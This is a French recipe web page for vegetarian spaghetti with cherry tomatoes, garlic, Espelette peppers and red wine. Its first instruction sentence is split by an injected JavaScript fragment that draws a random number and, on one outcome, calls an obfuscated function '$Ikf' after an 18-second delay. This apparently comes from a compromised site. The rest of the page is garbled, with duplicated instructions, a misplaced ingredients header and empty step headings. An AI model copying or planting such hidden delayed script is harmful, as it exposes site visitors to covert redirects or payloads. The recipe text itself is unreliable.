Spaghettis à l’Italienne
2021-03-13- Thématique : Végétarien
- Niveau : Difficile
Dans une grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande quantité d’eau bouillante salée, plongez les spaghettis, portez à ébullition et faites les cuire en respectant le temps indiqué sur le paquet. Les égoutter.
Ingrédients
Dans une grande quantité d'eau bouillante salée, plongez les spaghettis, portez à ébullition et faites les cuire en respectant le temps indiqué sur le paquet. Les égoutter. Rincez, séchez, coupez en deux les tomates cerises. Pelez, coupez en deux les gousses d'ail. Enlevez le germe. Les hacher grossièrement. Rincez, séchez et Coupez-les piments d'Espelette en fines rondelles. Dans un faitout avec 2 cuillères à soupe d'huile d’arachide, sur feu moyen, faites fondre les gousses d'ail tout en remuant pendant quelques secondes. Puis ajoutez les piments. Mouillez avec le vin rouge et faites cuire pendant quelques minutes. Incorporez les tomates cerise, jusqu'à ce qu'elles rendent leur jus.
Goûtez l'assaisonnement, puis incorporez les spaghettis avec quelques noisettes de beurre. Mélangez et servez rapidementPréparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
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